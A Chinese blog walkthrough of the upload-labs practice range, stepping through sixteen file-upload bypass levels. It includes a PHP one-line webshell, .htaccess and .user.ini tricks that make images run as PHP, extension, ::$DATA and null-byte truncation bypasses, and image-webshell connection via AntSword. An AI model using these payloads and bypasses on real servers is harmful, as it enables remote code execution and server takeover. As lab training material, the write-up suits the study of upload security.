文件上传漏洞练习

目录

靶场: upload-labs 

Pass-01 js检查

Pass-02 MIME验证

Pass-03 特殊后缀绕过

Pass-04 上传.htaccess

Pass-05 .ini绕过

Pass-06 后缀大小写绕过 strtolower()

Pass-07 后缀空格绕过 trim()

Pass-08 后缀点绕过deldot()

Pass-09 ::$DATA绕过

 Pass-10 deldot()函数漏洞

Pass-11 双写绕过 str_ireplace()

 Pass-12 GET中00拦截

Pass-13 POST中的00拦截 

解法一 

解法二

 Pass14 图片马

Pass15

Pass16


大佬文章 总结的很好

靶场: upload-labs 

Pass-01 js检查

先试着上传一个php文件

将php后缀改成jpg。不成功,看提示

本pass在客户端使用js对不合法图片进行检查! 

上传一句话木马,将后缀名改成jpg,然后抓包拦截,重新改为php,实现绕过js验证

<?php @eval($_POST['chopper']);?>

修改,forward放包。这时候我们采用蚁剑连接

 连接成功。注意连接地址连得是要查看一下E:\wamp64\www\upload-labs-master\upload这个目录,看看新生成的文件

对源码一些函数的理解

  • document.getElementsByName(“name”).value;获取不到值,由于通过Name来获得对象,同一个Name可以对应多个对象(Name不是唯一的),所以它得到的是一个数组,不能够这样简单的获取值。可以通过document.getElementsByName(“name”)[0].value;指定是数组的第一个元素来获取它的值。当然,也可以通过document.getElementById(“id”).value;直接获取值。
  • var ext_name = file.substring(file.lastIndexOf("."));--> 获取文件路径的后缀名
  • indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。

Pass-02 MIME验证

分析源码可看到,后端PHP代码只对content-type进行了检查 ,也就是说可以直接上传php文件,只需要将content-type改成image/jpeg

那我们抓包,修改content-type

Pass-03 特殊后缀绕过

黑名单绕过:
只针对黑名单中没有的后缀名,文件才能上传成功。
这一关禁止.jsp、.php、.asp、.aspx后缀名的文件上传,也禁止了点,空格等

,可上传php1、phtml等等

 

Pass-04 上传.htaccess

 这下禁止的更多了,但是没禁止htaccess文件


htaccess文件:

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。


htaccess文件内容:

SetHandler application/x-httpd-php

  • 设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。
  • .htaccess文件和一句话木马在同一目录下,然后再上传一个 1.jpg 此时1.jpg 就会被当作 PHP 来执行。

创建.htaccess文件(先用文本文件写,后缀改为htaccess)

<FilesMatch "1.jpg"> //内容为将1.jpg当做php文件解析
SetHandler application/x-httpd-php
</FilesMatch>

构造图片马

<?php @eval($_POST['chopper']);?>

 改后缀名

先上传.htaccess,再上传1.jpg,之后蚁剑连接

Pass-05 .ini绕过

源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。
反复观察发现没有被限制的后缀名有 .php7 以及 .ini

注:.user.ini类似于.htaccess但是应用范围更广,只要是以fastcgi运行的php都可以用它来动态的局部修改php.ini中的配置 

创建一个.user.ini文件

auto_prepend_file=1.jpg //表示所有的php文件都自动包含1.jpg文件

 创建图片马,修改后缀名,上传这俩文件,蚁剑连接readme.php(此时该文件会自动包含1.jpg)

(上传后需要等5分钟:配置文件时间为300秒)

打开php.in,我们把它修改成5秒 

Pass-06 后缀大小写绕过 strtolower()

没有使用strtolower()函数,可以使用大小写绕过黑名单  

Pass-07 后缀空格绕过 trim()

没有使用trim()进行首尾去空,可以使用空格绕过黑名单

利用Windows系统的文件名特性。文件名最后增加空格,写成1.php ,上传后保存在Windows系统上的文件名最后的一个空格会被去掉,实际上保存的文件名就是1.php

注:这里要用bp来修改 

  

Pass-08 后缀点绕过deldot()

没有使用deldot()过滤文件名末尾的,可以使用文件名后加.进行绕过

Pass-09 ::$DATA绕过

 没有对::D A T A 进 行 处 理 ,使用::DATA绕过黑名单

注意:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。 

抓包修改php,后面加上::$DATA

在服务器里看发现我们最php后面加的::$DATA,在服务器文件重命名是没有当做字符命名,直接去掉了 

 Pass-10 deldot()函数漏洞

看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
   }

 ::$DATA不能执行

deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来。

使用点空格点绕过 

访问这个文件 

Pass-11 双写绕过 str_ireplace()

使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空(即将它删掉),可以使用双写绕过黑名单

 Pass-12 GET中00拦截

大佬文章

  

为什么不能直接修改后缀名

因为截断的只是后缀名,只能绕过简单的前端验证,到后端碰到上图的代码,在提取上传文件后缀的时候后缀还是.php,肯定会被拦,也就是说这里00截断没有发挥任何“绕过”后端验证的作用。
这里想绕过,必须要知道文件上传的条件:
1.后缀检测,合格则进行上传路径拼接
2.拼接路径和文件名,组成文件上传路径

想使用00截断绕过后端验证,除非两个条件之一:

  • 路径拼接像上图的代码一样,直接使用的 $file_name这个文件名,而不是 $file_ext和其他什么东西来拼成一个文件名字,这时文件名中还是包含截断字符的,路径拼好之后可以被截断成想要的.php。
  • 文件路径可控,比如我可以修改路径拼接的path时,比如抓到的包中存在path: uploads/,就可以直接把路径构造成uploads/xxx.php%00,先构造一个存在截断字符的后缀“等着”真正的文件名,或者后缀名,因为不管它是啥,都会被截断而丢弃,因为这里已经到了“最后阶段”,不会再有安检过程了,这里截断之后的结果就是最终上传的结果,比如下图中,抓到的包里发现了路径,那么使用上面的方法直接改它,就可以成功上传aa.php文件,不管被处理后的文件名是什么,在这里被截断才是真正的“截断”,因为这是在安检(后缀名校验)之后进行的截断,直接决定真实的文件后缀名。
     

 

Pass-13 POST中的00拦截 

解法一 

 可以看出此时是Post提交,发现路径没有处理直接拼接上去,所以利用00截断绕过

使用burpsuite对%00进行解码 

解码后

解法二

1、首先编辑一个.php文件,将其上传的同时修改后缀名为.jpg,文件类型修改为:image/jpeg
2、 在这个位置加上234.php+变成 ../upload/234.php+
然后到到 十六进制 那一栏里找到+代表的2b,改成00

 Pass14 图片马

源码

分析,该代码对文件头读取头两个字节,并以此判断文件类型。我们可以制作图片马进行上传 

制作图片马

生成图片2.jpg

 

使用bp可以看到上传文件内容 

 

此图片马可以包含文件漏洞的页面中使用
在上传成功后,可以获取到上传文件重新命名的名字

简单新建一个包含文件漏洞的页面include.php

蚁剑连接 

http://192.168.17.1/upload-labs-master/upload/include.php?page=3020220211041148.jpg

Pass15

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,成功返回一个数组,如果没有相关的图片文件头,函数会报错

与14关相同 

Pass16

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。

在php.ini文件中找到;extension=php_exif.dll,去掉前面的分号 

剩余步骤与14关相同 

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值